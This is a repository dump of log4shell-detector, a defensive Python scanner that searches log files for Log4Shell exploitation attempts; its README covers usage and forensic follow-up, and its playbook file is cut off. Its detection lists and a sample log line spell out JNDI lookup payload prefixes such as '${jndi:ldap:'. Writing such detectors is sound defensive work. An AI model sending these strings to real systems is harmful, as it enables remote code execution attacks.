├── .github └── workflows │ ├── buildExe.yml │ └── log4shell-detector-test.yml ├── .gitignore ├── .vscode └── launch.json ├── LICENSE ├── Log4ShellDetector ├── Log4ShellDetector.py └── __init__.py ├── Pipfile ├── README.md ├── __init__.py ├── log4shell-detector.py ├── log4shell-detector.spec ├── playbook.yml ├── screenshots ├── screen1.png └── screen2.png ├── setup.py └── tests └── test_detection.py /.github/workflows/buildExe.yml: -------------------------------------------------------------------------------- 1 | name: Package Application with Pyinstaller 2 | 3 | on: 4 | push: 5 | tags: 6 | - '*' 7 | 8 | 9 | jobs: 10 | test: 11 | strategy: 12 | fail-fast: false 13 | matrix: 14 | os: [ubuntu-latest] 15 | python-version: [2.7, 3.6, 3.7, 3.8, 3.9] 16 | include: 17 | - os: macos-latest 18 | python-version: 3.9 19 | runs-on: ${{ matrix.os }} 20 | 21 | steps: 22 | - uses: actions/checkout@v2 23 | - name: Set up Python ${{ matrix.python-version }} 24 | uses: actions/setup-python@v2 25 | with: 26 | python-version: ${{ matrix.python-version }} 27 | - name: Install dependencies 28 | run: | 29 | python -m pip install --upgrade pip 30 | pip install pipenv==2021.5.29 31 | pipenv lock 32 | pipenv install --dev 33 | - name: Test Log4Shell Detector Capabilities 34 | run: | 35 | pipenv run pytest 36 | 37 | build: 38 | needs: test 39 | runs-on: ubuntu-latest 40 | 41 | steps: 42 | - uses: actions/checkout@v2 43 | 44 | - name: Package Application Windows 45 | uses: JackMcKew/pyinstaller-action-windows@main 46 | with: 47 | path: ./ 48 | 49 | - name: Package Application linux 50 | uses: JackMcKew/pyinstaller-action-linux@main 51 | with: 52 | path: ./ 53 | 54 | - name: Rename Files 55 | run: | 56 | mv "dist/windows/log4shell-detector.exe" "dist/windows/log4shell-detector-win.exe" 57 | mv "dist/linux/log4shell-detector" "dist/linux/log4shell-detector-lin" 58 | 59 | - uses: ncipollo/release-action@v1.9.0 60 | with: 61 | draft: true 62 | artifacts: "dist/windows/*.exe,dist/linux/*" 63 | token: ${{ secrets.GITHUB_TOKEN }} 64 | -------------------------------------------------------------------------------- /.github/workflows/log4shell-detector-test.yml: -------------------------------------------------------------------------------- 1 | # This workflow will install Python dependencies, run tests and lint with a single version of Python 2 | # For more information see: https://help.github.com/actions/language-and-framework-guides/using-python-with-github-actions 3 | 4 | name: Log4Shell Detector Tests 5 | 6 | on: 7 | push: 8 | branches: 9 | - "*" 10 | pull_request: 11 | branches: 12 | - main 13 | - devel 14 | 15 | jobs: 16 | build: 17 | strategy: 18 | fail-fast: false 19 | matrix: 20 | os: [ubuntu-latest] 21 | python-version: [2.7, 3.6, 3.7, 3.8, 3.9] 22 | include: 23 | - os: macos-latest 24 | python-version: 3.9 25 | runs-on: ${{ matrix.os }} 26 | 27 | steps: 28 | - uses: actions/checkout@v2 29 | - name: Set up Python ${{ matrix.python-version }} 30 | uses: actions/setup-python@v2 31 | with: 32 | python-version: ${{ matrix.python-version }} 33 | - name: Install dependencies 34 | run: | 35 | python -m pip install --upgrade pip 36 | pip install pipenv==2021.5.29 37 | pipenv lock 38 | pipenv install --dev 39 | - name: Test Log4Shell Detector Capabilities 40 | run: | 41 | pipenv run pytest 42 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | 53 | # Translations 54 | *.mo 55 | *.pot 56 | 57 | # Django stuff: 58 | local_settings.py 59 | db.sqlite3 60 | db.sqlite3-journal 61 | 62 | # Flask stuff: 63 | instance/ 64 | .webassets-cache 65 | 66 | # Scrapy stuff: 67 | .scrapy 68 | 69 | # Sphinx documentation 70 | docs/_build/ 71 | 72 | # PyBuilder 73 | target/ 74 | 75 | # Jupyter Notebook 76 | .ipynb_checkpoints 77 | 78 | # IPython 79 | profile_default/ 80 | ipython_config.py 81 | 82 | # pyenv 83 | .python-version 84 | 85 | # pipenv 86 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 87 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 88 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 89 | # install all needed dependencies. 90 | #Pipfile.lock 91 | 92 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 93 | __pypackages__/ 94 | 95 | # Celery stuff 96 | celerybeat-schedule 97 | celerybeat.pid 98 | 99 | # SageMath parsed files 100 | *.sage.py 101 | 102 | # Environments 103 | .env 104 | .venv 105 | env/ 106 | venv/ 107 | ENV/ 108 | env.bak/ 109 | venv.bak/ 110 | 111 | # Spyder project settings 112 | .spyderproject 113 | .spyproject 114 | 115 | # Rope project settings 116 | .ropeproject 117 | 118 | # mkdocs documentation 119 | /site 120 | 121 | # mypy 122 | .mypy_cache/ 123 | .dmypy.json 124 | dmypy.json 125 | 126 | # Pyre type checker 127 | .pyre/ 128 | -------------------------------------------------------------------------------- /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | // Use IntelliSense to learn about possible attributes. 3 | // Hover to view descriptions of existing attributes. 4 | // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 5 | "version": "0.2.0", 6 | "configurations": [ 7 | { 8 | "name": "Python: Current File", 9 | "type": "python", 10 | "request": "launch", 11 | "program": "${file}", 12 | "console": "integratedTerminal", 13 | "args": ["-p", "tests"] 14 | } 15 | ] 16 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Florian Roth 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Log4ShellDetector/Log4ShellDetector.py: -------------------------------------------------------------------------------- 1 | 2 | from __future__ import print_function 3 | import base64 4 | import re 5 | import os 6 | import copy 7 | import gzip 8 | import zipfile 9 | import io 10 | import traceback 11 | import sys 12 | 13 | try: 14 | from urllib.parse import unquote 15 | except ImportError: 16 | from urllib import unquote 17 | import traceback 18 | 19 | _std_supported = False 20 | try: 21 | import zstandard 22 | _std_supported = True 23 | except ImportError: 24 | print("[E] No support for zstandard files without 'zstandard' library", file=sys.stderr) 25 | 26 | 27 | class detector(object): 28 | 29 | # These strings will be transformed into detection pads 30 | DETECTION_STRINGS = ['${jndi:ldap:', '${jndi:rmi:', '${jndi:ldaps:', '${jndi:dns:', 31 | '${jndi:nis:', '${jndi:nds:', '${jndi:corba:', '${jndi:iiop:', '${jndi:http:'] 32 | # These strings will be applied as they are 33 | PLAIN_STRINGS = { 34 | "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b#gistcomment-3991502": [ 35 | " header with value of BadAttributeValueException: " 36 | ], 37 | "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b#gistcomment-3991700": [ 38 | "at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(", 39 | ".log4j.core.lookup.JndiLookup.lookup(JndiLookup" 40 | ], 41 | "https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce/issues/1": [ 42 | 'Reference Class Name: foo' 43 | ] 44 | } 45 | 46 | def __init__(self, maximum_distance, debug, quick, silent): 47 | self.prepare_detections(maximum_distance) 48 | self.debug = debug 49 | self.quick = quick 50 | self.silent = silent 51 | 52 | def decode_line(self, line): 53 | while "%" in line: 54 | line_before = line 55 | line = unquote(line) 56 | if line == line_before: 57 | break 58 | return line 59 | 60 | def base64_decode(self, m): 61 | return base64.b64decode(m.group(1)).decode("utf-8") 62 | 63 | def check_line(self, line): 64 | # Decode Line 65 | decoded_line = self.decode_line(line) 66 | 67 | # Base64 sub 68 | try: 69 | decoded_line = re.sub(r"\${base64:([^}]+)}", self.base64_decode, decoded_line) 70 | except Exception as e: 71 | if self.debug: 72 | traceback.print_exc() 73 | 74 | # Plain Detection 75 | for ref, strings in self.PLAIN_STRINGS.items(): 76 | for s in strings: 77 | if s in line or s in decoded_line: 78 | return s 79 | 80 | # Detection Pad based Detection 81 | # Preparation 82 | decoded_line = decoded_line.lower() 83 | # temporary detection pad 84 | dp = copy.deepcopy(self.detection_pad) 85 | # Walk over characters 86 | for c in decoded_line: 87 | for detection_string in dp: 88 | # If the character in the line matches the character in the detection 89 | if c == dp[detection_string]["chars"][dp[detection_string]["level"]]: 90 | # { directly follows $ 91 | if dp[detection_string]["level"] == 1 and not dp[detection_string]["current_distance"] == 1: 92 | # if not ${ but $ .... { do a complete reset of the pad evaluation 93 | dp[detection_string]["current_distance"] = 0 94 | dp[detection_string]["level"] = 0 95 | dp[detection_string]["level"] += 1 96 | dp[detection_string]["current_distance"] = 0 97 | # If level > 0 count distance to the last char 98 | if dp[detection_string]["level"] > 0: 99 | dp[detection_string]["current_distance"] += 1 100 | # If distance is too big, reset level to zero 101 | if dp[detection_string]["current_distance"] > dp[detection_string]["maximum_distance"]: 102 | dp[detection_string]["current_distance"] = 0 103 | dp[detection_string]["level"] = 0 104 | # Is the pad complete 105 | if len(dp[detection_string]["chars"]) == dp[detection_string]["level"]: 106 | return detection_string 107 | 108 | def scan_file(self, file_path): 109 | matches_in_file = [] 110 | try: 111 | # Gzipped logs 112 | if "log" in file_path and file_path.endswith(".gz"): 113 | with gzip.open(file_path, 'rt') as gzlog: 114 | c = 0 115 | for line in gzlog: 116 | c += 1 117 | # Quick mode - timestamp check 118 | if self.quick and not "2021" in line and not "2022" in line: 119 | continue 120 | # Analyze the line 121 | result = self.check_line(line) 122 | if result: 123 | matches_dict = { 124 | "line_number": c, 125 | "match_string": result, 126 | "line": line.rstrip() 127 | } 128 | matches_in_file.append(matches_dict) 129 | # Zstandard logs 130 | elif _std_supported and "log." in file_path and file_path.endswith(".zst"): 131 | with open(file_path, 'rb') as compressed: 132 | dctx = zstandard.ZstdDecompressor() 133 | stream_reader = dctx.stream_reader(compressed) 134 | text_stream = io.TextIOWrapper(stream_reader, encoding='utf-8') 135 | c = 0 136 | for line in text_stream: 137 | c += 1 138 | # Quick mode - timestamp check 139 | if self.quick and not "2021" in line and not "2022" in line: 140 | continue 141 | # Analyze the line 142 | result = self.check_line(line) 143 | if result: 144 | matches_dict = { 145 | "line_number": c, 146 | "match_string": result, 147 | "line": line.rstrip() 148 | } 149 | matches_in_file.append(matches_dict) 150 | # Zipped logs 151 | elif "log" in file_path and file_path.endswith(".zip"): 152 | with zipfile.ZipFile(file_path, 'r') as zfile: 153 | file_list = zfile.namelist() 154 | for file_name in file_list: 155 | with io.TextIOWrapper( zfile.open(name=file_name, mode='r'), encoding="utf-8" ) as zlog: 156 | c = 0 157 | for line in zlog: 158 | c += 1 159 | # Quick mode - timestamp check 160 | if self.quick and not "2021" in line and not "2022" in line: 161 | continue 162 | # Analyze the line 163 | result = self.check_line(line) 164 | if result: 165 | matches_dict = { 166 | "line_number": c, 167 | "match_string": result, 168 | "line": line.rstrip() 169 | } 170 | matches_in_file.append(matches_dict) 171 | # Plain Text 172 | elif self.is_ascii(file_path): 173 | with open(file_path, 'r') as logfile: 174 | c = 0 175 | for line in logfile: 176 | c += 1 177 | # Quick mode - timestamp check 178 | if self.quick and not "2021" in line and not "2022" in line: 179 | continue 180 | # Analyze the line 181 | result = self.check_line(line) 182 | if result: 183 | matches_dict = { 184 | "line_number": c, 185 | "match_string": result, 186 | "line": line.rstrip() 187 | } 188 | matches_in_file.append(matches_dict) 189 | except UnicodeDecodeError as e: 190 | if self.debug: 191 | print("[E] Can't process FILE: %s REASON: most likely not an ASCII based log file" % file_path, file=sys.stderr) 192 | except PermissionError as e: 193 | print("[E] Can't access %s due to a permission problem." % file_path, file=sys.stderr) 194 | except Exception as e: 195 | print("[E] Can't process FILE: %s REASON: %s" % (file_path, traceback.print_exc()), file=sys.stderr) 196 | 197 | return matches_in_file 198 | 199 | def is_ascii(self, file_path): 200 | with open(file_path, "r") as fh: 201 | first_2048_bytes = fh.read(2048) 202 | if all(ord(c) < 128 for c in first_2048_bytes): 203 | return True 204 | return False 205 | 206 | def prepare_detections(self, maximum_distance): 207 | self.detection_pad = {} 208 | for ds in self.DETECTION_STRINGS: 209 | self.detection_pad[ds] = {} 210 | self.detection_pad[ds] = { 211 | "chars": list(ds), 212 | "maximum_distance": maximum_distance, 213 | "current_distance": 0, 214 | "level": 0 215 | } 216 | -------------------------------------------------------------------------------- /Log4ShellDetector/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/log4shell-detector/9ad653adef25d9fd747b9e9847c813892881620c/Log4ShellDetector/__init__.py -------------------------------------------------------------------------------- /Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | name = "pypi" 3 | url = "https://pypi.org/simple" 4 | verify_ssl = true 5 | 6 | [dev-packages] 7 | pytest = "*" -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![Not Maintained](https://img.shields.io/badge/Maintenance%20Level-Not%20Maintained-yellow.svg)](https://gist.github.com/cheerfulstoic/d107229326a01ff0f333a1d3476e068d) 2 | 3 | # log4shell-detector 4 | 5 | Detector for Log4Shell exploitation attempts 6 | 7 | ## What it does and doesn't do 8 | 9 | It does: It checks local log files for indicators of exploitation attempts, even heavily obfuscated ones that string or regular expression based patterns wouldn't detect. 10 | 11 | - It doesn't find vulnerable applications 12 | - It doesn't and can't verify if the exploitation attempts were successful 13 | 14 | ## Idea 15 | 16 | The problem with the log4j CVE-2021-44228 exploitation is that the string can be heavily obfuscated in many different ways. It is impossible to cover all possible forms with a reasonable regular expression. 17 | 18 | The idea behind this detector is that the respective characters have to appear in a log line in a certain order to match. 19 | 20 | ```none 21 | ${jndi:ldap: 22 | ``` 23 | 24 | Split up into a list it would look like this: 25 | 26 | ```none 27 | ['$', '{', 'j', 'n', 'd', 'i', ':', 'l', 'd', 'a', 'p', ':'] 28 | ``` 29 | 30 | I call these lists 'detection pads' in my script and process each log line character by character. I check if each character matches the first element of the detection pads. If the character matches a character in one of the detection pads, a pointer moves forward. 31 | 32 | When the pointer reaches the end of the list, the detection triggered and the script prints the file name, the complete log line, the detected string and the number of the line in the file. 33 | 34 | I've included a decoder for URL based encodings. If we need more, please let me know. 35 | 36 | ## Usage 37 | 38 | ```help 39 | usage: log4shell-detector.py [-h] [-p path [path ...] | -f path [path ...] | --auto] [-d distance] [--quick] [--debug] [--summary] 40 | 41 | Log4Shell Exploitation Detectors 42 | 43 | optional arguments: 44 | -h, --help show this help message and exit 45 | -p path [path ...] Path to scan 46 | -f path [path ...] File to scan 47 | --auto Automatically evaluate locations to which logs get written and scan these folders recursively (new default if no path is given) 48 | -d distance Maximum distance between each character 49 | -c check_usage Check log4j usage before launching the scan 50 | --debug Debug output 51 | --defaultpaths Scan a set of default paths that should contain relevant log files. 52 | --quick Skip log lines that don't contain a 2021 or 2022 time stamp 53 | --debug Debug output 54 | --summary Show summary only 55 | --silent Silent Mode. Only output on matches and errors 56 | ``` 57 | 58 | ## Get started 59 | 60 | 1. Make sure that the target systems on which you'd like to run `log4shell-detector` has python installed: `python -V` and see if Python 3 is available `python3 -V` 61 | 62 | 2. Download this Repo by clicking "Code" > "Download ZIP" 63 | 64 | 3. Extract the package and bring othe comlete package to the target system (e.g. with scp) 65 | 66 | 4. Run it with `python3 log4shell-detector.py -p /var/log` (if `python3` isn't available use `python`) 67 | 68 | 5. If your applications log to a different folder than `/var/log` find out where the log files reside and scan these folders. Find locations to which apps write logs with `lsof | grep '\.log'`. 69 | 70 | 6. Review the results (see FAQs for details) 71 | 72 | ## Using ansible-playbook 73 | 74 | You can also use the `playbook.yml` which copies the needed files on the server, 75 | runs the script and only shows something if a match was found. 76 | 77 | Use it like this: 78 | 79 | ```bash 80 | ansible-playbook -i hosts playbook.yml 81 | ``` 82 | 83 | which could result in something like this: 84 | 85 | ```ansible 86 | TASK [Run the script] ****************************************************************************************************************************************************** 87 | fatal: [foo]: FAILED! => changed=false 88 | 89 | stdout: |- 90 | [!] FILE: /var/log/messages LINE_NUMBER: 6098 DEOBFUSCATED_STRING: ${jndi:ldap: LINE: ${jndi:ldap:foo 91 | [!] 1 files with exploitation attempts detected in PATH: /var/log/ 92 | ``` 93 | 94 | ## FAQs 95 | 96 | ### I don't use log4j on that server but the scanner reports exploitation attempts. Am I affected? 97 | 98 | No. But can you be sure that no application uses log4j? 99 | 100 | You can try to find evidence of log4j usage running these commands: 101 | 102 | ```bash 103 | ps aux | egrep '[l]og4j' 104 | find / -iname "log4j*" 105 | lsof | grep log4j 106 | find . -name '*[wj]ar' -print -exec sh -c 'jar tvf {} | grep log4j' \; 107 | ``` 108 | 109 | If none of these commands returned a result, you should be safe. 110 | 111 | ### My applications use log4j and I've found evidence of exploitation attempts? Am I compromised? 112 | 113 | It is possible, yes. First check if the application that you use is actually affected by the vulnerability. Check the JAVA and log4j versions, check the vendor's blog for an advisory or test the application yourself using [canary tokens](https://twitter.com/cyb3rops/status/1469405846010572816). 114 | 115 | If your application is affected and vulnerable and you plan to do a forensic investigation, 116 | 117 | 1. create a memory image of that system (use e.g. VMWare's [snapshots](https://blogs.vmware.com/networkvirtualization/2021/03/memory-forensics-for-virtualized-hosts.html/) or other tools for that) 118 | 119 | 2. create a disk image of that system 120 | 121 | 3. check the system's outgoing network connections in your firewall logs 122 | 123 | 4. check the system's crontab for suspicious new entries (`/etc/crontab`). If you want and can, use our free tool [THOR Lite](https://www.nextron-systems.com/thor-lite/) for a basic compromise assessment. 124 | 125 | 5. After some investigations, decide if you want and can disconnect that system from the Internet until you've verified that it hasn't been compromised. 126 | 127 | ## Special Flags 128 | 129 | ### --auto 130 | 131 | Automatically select file paths to which log files get written. (default: overwrite with -p path or -f file) 132 | 133 | ### --check_usage 134 | 135 | Check log4j usage before launching the exploits scan. The usage of this optional flag stop the execution of the script if there is no log4j being used in the current system, the thing that helps saving time especially when it's about scanning an entire infrastructure. 136 | 137 | ### --quick 138 | 139 | Only checks log lines that contain a `2021` or `2022` to exclude all scanning of older log entries. We assume that the vulnerability wasn't exploited in 2019 and earlier. 140 | 141 | ### --summary 142 | 143 | Prints a summary of matches, with only the filename and line number. 144 | 145 | ### --silent 146 | 147 | Silent Mode. Only output on matches (stdout) and errors (stderr) 148 | 149 | ## Requirements 150 | 151 | - Python 2 or Python 3 152 | 153 | No further or special Python modules are required. It should run on any system that runs Python. 154 | 155 | ## Screenshots 156 | 157 | ![Screen1](/screenshots/screen1.png) 158 | 159 | ![Screen2](/screenshots/screen2.png) 160 | 161 | ## Help 162 | 163 | There are different ways how you can help. 164 | 165 | 1. Test it against the payloads that you find in the wild and let me know if we miss something. 166 | 2. Help me find and fix bugs. 167 | 3. Test if the scripts runs with Python 2; if not, we can add a slightly modified version to the repo. 168 | 169 | # Test Your Changes 170 | 171 | Test your changes to the script with: 172 | 173 | ```bash 174 | pytest 175 | ``` 176 | 177 | Requires: 178 | ```bash 179 | pip install pytest 180 | ``` 181 | 182 | ## Contact 183 | 184 | Twitter: [@cyberops](https://twitter.com/cyb3rops) 185 | -------------------------------------------------------------------------------- /__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/log4shell-detector/9ad653adef25d9fd747b9e9847c813892881620c/__init__.py -------------------------------------------------------------------------------- /log4shell-detector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from __future__ import print_function 4 | 5 | __author__ = "Florian Roth" 6 | __version__ = "0.11.1" 7 | __date__ = "2021-12-15" 8 | 9 | import argparse 10 | import os 11 | import subprocess 12 | import sys 13 | from datetime import datetime, timedelta 14 | from collections import defaultdict 15 | 16 | import Log4ShellDetector.Log4ShellDetector as Log4ShellDetector 17 | 18 | LINUX_PATH_SKIPS_START = set(["/proc", "/dev", "/sys/kernel/debug", "/sys/kernel/slab", "/sys/devices", "/usr/src/linux"]) 19 | 20 | def evaluate_log_paths(): 21 | paths = [] 22 | if not args.silent: print("[.] Automatically evaluating the folders to which apps write logs ...") 23 | command = "lsof 2>/dev/null | grep '\\.log' | sed 's/.* \\//\\//g' | sort | uniq" 24 | path_eval = subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT) 25 | output = path_eval.communicate()[0].splitlines() 26 | for o in output: 27 | path = os.path.dirname(o) 28 | if isinstance(path, bytes): 29 | path = path.decode("utf-8") 30 | 31 | # Some filters 32 | skip_append = False 33 | # If already in list - skip 34 | if path in paths: 35 | skip_append = True 36 | # If in exclude list - skip 37 | for exclude in LINUX_PATH_SKIPS_START: 38 | if path.startswith(exclude): 39 | skip_append = True 40 | if skip_append: 41 | continue 42 | 43 | # Append the found path 44 | paths.append(path) 45 | if args.debug: 46 | print("[D] Adding PATH: %s" % path) 47 | return paths 48 | 49 | def check_log4j_used(): 50 | checker_commands = [ 51 | "ps aux | egrep '[l]og4j'", 52 | "find / -iname \"log4j*\"", 53 | "lsof | grep log4j", 54 | "grep -r --include *.[wj]ar \"JndiLookup.class\" / 2>&1 | grep matches", 55 | ] 56 | for checker_command in checker_commands: 57 | if len(subprocess.Popen(checker_command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT).communicate()[0].splitlines()) > 0: 58 | return True 59 | return False 60 | 61 | if __name__ == '__main__': 62 | 63 | parser = argparse.ArgumentParser(description='Log4Shell Exploitation Detectors') 64 | group = parser.add_mutually_exclusive_group() 65 | group.add_argument('-p', nargs='+', help='Path to scan', metavar='path', default='') 66 | group.add_argument('-f', nargs='+', help='File to scan', metavar='path', default='') 67 | group.add_argument('--auto', action='store_true', help='Automatically evaluate locations to which logs get written and scan these folders recursively (new default if no path is given)') 68 | parser.add_argument('-d', type=int, help='Maximum distance between each character', metavar='distance', default=40) 69 | parser.add_argument('--quick', action='store_true', help="Skip log lines that don't contain a 2021 or 2022 time stamp") 70 | parser.add_argument('--debug', action='store_true', help='Debug output') 71 | parser.add_argument('--summary', action='store_true', help='Show summary only') 72 | parser.add_argument('--check_usage', '-c',action='store_true', help='Check if log4j is being used before launching the scan') 73 | parser.add_argument('--silent', action='store_true', help='Silent Mode. Only output on matches and errors') 74 | 75 | args = parser.parse_args() 76 | 77 | if not args.silent: 78 | print(" __ ____ ______ ____ ___ __ __ ") 79 | print(" / / ___ ___ _/ / // __/ / ___ / / / / _ \\___ / /____ ____/ /____ ____") 80 | print(" / /__/ _ \\/ _ `/_ _/\\ \\/ _ \\/ -_) / / / // / -_) __/ -_) __/ __/ _ \\/ __/") 81 | print(" /____/\\___/\\_, / /_//___/_//_/\\__/_/_/ /____/\\__/\\__/\\__/\\__/\\__/\\___/_/ ") 82 | print(" /___/ ") 83 | print(" ") 84 | print(" Version %s, %s" % (__version__, __author__)) 85 | 86 | print("") 87 | date_scan_start = datetime.now() 88 | print("[.] Starting scan DATE: %s" % date_scan_start) 89 | 90 | if args.check_usage: 91 | if check_log4j_used() == False: 92 | if not args.silent: 93 | print("[.] log4j is not being used in this system, exiting.") 94 | sys.exit(0) 95 | else: 96 | if not args.silent: 97 | print("[.] log4j is being used, an exploit's scan will be performed.") 98 | 99 | # Create Log4Shell Detector Object 100 | l4sd = Log4ShellDetector.detector(maximum_distance=args.d, debug=args.debug, quick=args.quick, silent=args.silent) 101 | 102 | # Counter 103 | all_detections = 0 104 | 105 | def scan_path(l4sd, path, summary): 106 | matches = defaultdict(lambda: defaultdict()) 107 | # Loop over files 108 | for root, directories, files in os.walk(path, followlinks=False): 109 | for filename in files: 110 | file_path = os.path.join(root, filename) 111 | if l4sd.debug: 112 | print("[.] Processing %s ..." % file_path) 113 | matches_found = l4sd.scan_file(file_path) 114 | if len(matches_found) > 0: 115 | for m in matches_found: 116 | matches[file_path][m['line_number']] = [m['line'], m['match_string']] 117 | 118 | if not summary: 119 | for match in matches: 120 | for line_number in matches[match]: 121 | print('[!] FILE: %s LINE_NUMBER: %s DEOBFUSCATED_STRING: %s LINE: %s' % (match, line_number, matches[match][line_number][1], matches[match][line_number][0])) 122 | # Result 123 | number_of_detections = 0 124 | number_of_files_with_detections = len(matches.keys()) 125 | for file_path in matches: 126 | number_of_detections += len(matches[file_path].keys()) 127 | 128 | if number_of_detections > 0: 129 | print("[!] %d files with exploitation attempts detected in PATH: %s" % (number_of_files_with_detections, path)) 130 | if summary: 131 | for match in matches: 132 | for line_number in matches[match]: 133 | print('[!] FILE: %s LINE_NUMBER: %d STRING: %s' % (match, line_number, matches[match][line_number][1])) 134 | else: 135 | if not args.silent: print("[+] No files with exploitation attempts detected in path PATH: %s" % path) 136 | return number_of_detections 137 | 138 | # Scan file 139 | if args.f: 140 | files = args.f 141 | for f in files: 142 | if not os.path.isfile(f): 143 | print("[E] File %s doesn't exist" % f, file=sys.stderr) 144 | continue 145 | if not args.silent: print("[.] Scanning FILE: %s ..." % f) 146 | matches = defaultdict(lambda: defaultdict()) 147 | matches_found = l4sd.scan_file(f) 148 | if len(matches_found) > 0: 149 | for m in matches_found: 150 | matches[f][m['line_number']] = [m['line'], m['match_string']] 151 | for match in matches: 152 | for line_number in matches[match]: 153 | print('[!] FILE: %s LINE_NUMBER: %s DEOBFUSCATED_STRING: %s LINE: %s' % 154 | (match, line_number, matches[match][line_number][1], matches[match][line_number][0]) 155 | ) 156 | all_detections = len(matches[f].keys()) 157 | 158 | # Scan paths 159 | else: 160 | # Paths 161 | paths = args.p 162 | # Automatic path evaluation 163 | auto_eval_paths = False 164 | if args.auto: 165 | auto_eval_paths = True 166 | # Parameter evaluation 167 | if len(paths) == 0 and not auto_eval_paths: 168 | print("[W] Warning: You haven't selected a path (-p path) or automatic evaluation of log paths (--auto). Log4Shell-Detector will activate the automatic path evaluation (--auto) for your convenience.") 169 | auto_eval_paths = True 170 | # Automatic path evaluation 171 | if auto_eval_paths: 172 | log_paths = evaluate_log_paths() 173 | paths = log_paths 174 | # Now scan these paths 175 | for path in paths: 176 | if not os.path.isdir(path): 177 | print("[E] Path %s doesn't exist" % path, file=sys.stderr) 178 | continue 179 | if not args.silent: print("[.] Scanning FOLDER: %s ..." % path) 180 | detections = scan_path(l4sd,path,args.summary) 181 | all_detections += detections 182 | 183 | # Finish 184 | if not args.silent: 185 | if all_detections > 0: 186 | print("[!!!] %d exploitation attempts detected in the complete scan" % all_detections) 187 | else: 188 | print("[.] No exploitation attempts detected in the scan") 189 | date_scan_end = datetime.now() 190 | print("[.] Finished scan DATE: %s" % date_scan_end) 191 | duration = date_scan_end - date_scan_start 192 | mins, secs = divmod(duration.total_seconds(), 60) 193 | hours, mins = divmod(mins, 60) 194 | print("[.] Scan took the following time to complete DURATION: %d hours %d minutes %d seconds" % (hours, mins, secs)) 195 | 196 | -------------------------------------------------------------------------------- /log4shell-detector.spec: -------------------------------------------------------------------------------- 1 | # -*- mode: python ; coding: utf-8 -*- 2 | 3 | 4 | block_cipher = None 5 | 6 | 7 | a = Analysis(['log4shell-detector.py'], 8 | pathex=[], 9 | binaries=[], 10 | datas=[], 11 | hiddenimports=['Log4ShellDetector'], 12 | hookspath=[], 13 | runtime_hooks=[], 14 | excludes=[], 15 | win_no_prefer_redirects=False, 16 | win_private_assemblies=False, 17 | cipher=block_cipher, 18 | noarchive=False) 19 | pyz = PYZ(a.pure, a.zipped_data, 20 | cipher=block_cipher) 21 | 22 | exe = EXE(pyz, 23 | a.scripts, 24 | a.binaries, 25 | a.zipfiles, 26 | a.datas, 27 | [], 28 | name='log4shell-detector', 29 | debug=False, 30 | bootloader_ignore_signals=False, 31 | strip=False, 32 | upx=True, 33 | upx_exclude=[], 34 | runtime_tmpdir=None, 35 | console=True, 36 | disable_windowed_traceback=False, 37 | target_arch=None, 38 | codesign_identity=None, 39 | entitlements_file=None ) 40 | -------------------------------------------------------------------------------- /playbook.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - hosts: all 3 | become: true 4 | gather_facts: no 5 | vars: 6 | log4shell_options: "-p /var/log/" 7 | pre_tasks: 8 | - name: Check 